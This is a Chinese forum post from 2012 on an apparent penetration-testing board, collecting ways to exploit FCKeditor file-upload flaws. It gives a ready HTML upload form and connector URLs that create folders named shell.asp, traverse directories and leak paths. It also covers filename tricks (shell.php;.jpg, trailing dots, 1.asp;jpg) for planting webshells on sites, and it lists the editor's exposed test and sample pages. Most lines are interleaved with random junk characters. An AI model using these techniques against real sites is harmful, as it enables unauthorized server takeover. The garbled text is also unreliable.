中国网络渗透测试联盟

标题: Fckeditor漏洞 (2) [打印本页]

作者: admin    时间: 2012-9-13 17:01
标题: Fckeditor漏洞 (2)
Fckeditor漏洞利用总结  3 l& [5 A# l" p7 [; X4 B
查看编辑器版本0 j1 p% D' [1 d8 a, l* G
FCKeditor/_whatsnew.html
+ `3 w, P) x- G. [1 D1 r9 c4 \—————————————————————————————————————————————————————————————% m4 f6 @. I# T: Y8 Z
* B4 U/ K9 L% m9 M6 D2 ?$ e8 w
2. Version 2.2 版本) l' F! Z* O0 A* s: ~5 a
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
* a( k6 m" w( J. ?* k—————————————————————————————————————————————————————————————" F  w) \" {$ {( D7 D

' B  \( a  f" z6 o5 d3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
# r$ c' l9 P+ C; n  }2 v<form id="frmUpload" enctype="multipart/form-data"
4 {% M8 }1 u, F9 t$ aaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
  e$ W& j9 e  A3 l# d) U' m# D<input type="file" name="NewFile" size="50"><br>7 p* k7 \; Q4 d: \* J2 K
<input id="btnUpload" type="submit" value="Upload">& w4 k. F$ {* g5 N+ M/ M" {
</form>
) }( p1 P% J* Q* T—————————————————————————————————————————————————————————————
7 p8 d7 e& M0 H$ s0 N0 T
4 Q0 A/ f  P( C. R3 ]4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
" G6 |; [" W. T8 h4 O3 z; W$ l5 Y8 {        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
5 \' R+ C9 H" X+ b1 U* y) [    4.1:提交shell.php+空格绕过
3 {" B- C, ~) w* ^6 A不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
  `$ s# _4 |4 Z2 i/ m$ p    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。0 |4 w  l  b! U" Q+ g* ~
—————————————————————————————————————————————————————————————& v+ L" F9 q3 F

/ U1 k4 v4 A3 I7 h) f& x2 d5. 突破建立文件夹
# ^0 P& R3 O3 h5 RFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
; x6 C7 W1 d" m( G% J8 lFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
3 M6 i+ z1 p6 M$ ^—————————————————————————————————————————————————————————————' g% _- S( Q9 M7 O

  C2 N* R( _$ T6. FCKeditor 中test 文件的上传地址8 {! i, d8 T! T7 R9 q
FCKeditor/editor/filemanager/browser/default/connectors/test.html2 q1 E; v6 g" u, ^: ?3 p
FCKeditor/editor/filemanager/upload/test.html
) }7 C* i; a, }- S6 D- f+ J. `' GFCKeditor/editor/filemanager/connectors/test.html
3 y9 I4 z4 Y0 TFCKeditor/editor/filemanager/connectors/uploadtest.html: I' K: M$ y; A; T6 b" U
—————————————————————————————————————————————————————————————; ~4 P2 G; Q5 f

6 @' q5 L/ o9 F& e! C9 A7.常用上传地址
& W* N- R: A/ m* w7 D) F7 KFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
4 y) V8 C+ H) E. MFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp, F; G. ~$ p) i% U' j
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)$ b% n/ \- E+ V, i0 q( a, C
JSP 版:
  g+ n- a7 q7 B" v2 XFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
; b! V- f3 T' N3 e7 _. j注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文5 e( U& q+ l6 D. J; w) y) K9 O
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
. A( G8 w# a% F5 ]0 d+ b. i—————————————————————————————————————————————————————————————* J) f3 M! J" H- n$ o

( R6 V1 z0 X7 [# A2 W; _- F8.其他上传地址, ^! V' c% l' X: Y3 f3 O
FCKeditor/_samples/default.html
  X5 n6 X, t# ], E3 IFCKeditor/_samples/asp/sample01.asp( ~9 d4 N7 x$ ~
FCKeditor/_samples/asp/sample02.asp
/ m  \9 U$ p7 C' b8 sFCKeditor/_samples/asp/sample03.asp
3 S# W' R+ ~+ uFCKeditor/_samples/asp/sample04.asp
$ H8 q# ?+ p5 }, S. o一般很多站点都已删除_samples 目录,可以试试。
* `! G) F- \( x+ f$ DFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
2 r; h4 W1 p+ C9 f—————————————————————————————————————————————————————————————; k2 S" u( K5 l9 `' ]
) `$ P& [3 K( d8 P8 P
9.列目录漏洞也可助找上传地址# ?5 B/ Y4 n; T! Q
Version 2.4.1 测试通过
% U" G3 v8 Q! Z5 N/ S* v2 I4 o6 o修改CurrentFolder 参数使用 ../../来进入不同的目录) H, j! D- H2 C( ?" J5 s1 w
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
* @/ |- P) Z7 [3 G" B! g) C根据返回的XML 信息可以查看网站所有的目录。+ |) j* ?% Y* x3 i2 [1 H
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F% O% |( u7 W" g$ @* j, {5 ?
也可以直接浏览盘符:
- A; Z& s( X# f! i* IJSP 版本:
' z& e! D* n# z- OFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
: y: ]7 {% E7 T2 q—————————————————————————————————————————————————————————————# j* l7 H5 L  m. a. U
$ T4 {7 @6 r) b0 R3 }. b
10.爆路径漏洞
5 P5 T! @/ l  N; k1 m3 r# f! lFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp9 }+ y! E7 c. X# M$ X
—————————————————————————————————————————————————————————————
% t" {* P  y: c0 Q& K9 `: P. r2 a8 Z, y
11. FCKeditor 被动限制策略所导致的过滤不严问题5 m2 W0 u; ~0 j* t- C
        影响版本: FCKeditor x.x <= FCKeditor v2.4.38 j4 P( G9 A3 H; j
脆弱描述:
; P$ q; V! S: x0 G7 [4 iFCKeditor v2.4.3 中File 类别默认拒绝上传类型:3 Y7 u+ f: u# X6 U
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
4 E/ T: t: V: G! c7 S  s+ U  JFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!* R+ |- }8 @0 U# i! `
        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。6 L  l. F8 y2 [
        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!! {, r0 E) J$ ^+ z6 v
—————————————————————————————————————————————————————————————
0 T; m2 `' u" R
" O/ i( |" |/ w& i6 ^+ X12.最古老的漏洞,Type文件没有限制!# w$ R- n3 N: j6 ^1 H/ }
        我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
3 f% p- T' \' g, r  \5 b—————————————————————————————————————————————————————————————
6 E( p. Q* F6 a
4 G9 C8 ]" T+ `4 V; u. ~; F===============================================================================================================================================
6 `5 S6 i5 B* }* K- q7 g" L' O9 q
FCK编辑器jsp版本漏洞:
# T, N  v" n* K! I  g0 T, F, i% Q! j8 S& I; F" j

8 o& O- a4 y7 }0 U% l; W9 a( Z5 }7 dhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
0 E2 c) E4 q- y+ N9 F$ N% Q9 D& E4 ~' G
1 {& _1 N: L9 N+ ?1 F0 ^上传马所在目录  N, M  a+ |8 C0 W2 @) ^
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/8 Q( Q6 T7 f( W8 y+ j0 R; i/ e' a/ o
上传shell的地址:
0 c0 x+ }$ X( J& p9 [5 Uhttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector% y" B) [  z8 W) ^, ?
跟版本有关系.并不是百分百成功. 测试成功几个站.; m' E( p3 f, f2 d% y. ^* ^9 E
不能通杀.很遗憾.
& ^- M- ]9 M8 o2 `) jhttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector, _7 n: l; ~& @  V
如果以上地址不行可以试试5 V; v! i" _7 n6 c- I% z8 W% h
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector: i! S# V& {& p
FCKeditor/_samples/8 A' A+ h. g; t
FCKeditor/_samples/default.html2 M6 \. T& d; L, L: s! `! o6 U5 i) {' B
FCKeditor/editor/fckeditor.htm: R  E! y6 C$ ?" ~8 C1 w
FCKeditor/editor/fckdialog.html
* r+ {+ q. b. N4 p6 O- H6 _  a. y. o, n, J
, @6 L# B/ o- a2 r  ~

" i4 ^/ V5 n1 e解析漏洞+未重命名文件时上传漏洞  1.asp;jpg
0 t: B" Y; y9 g+ {




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2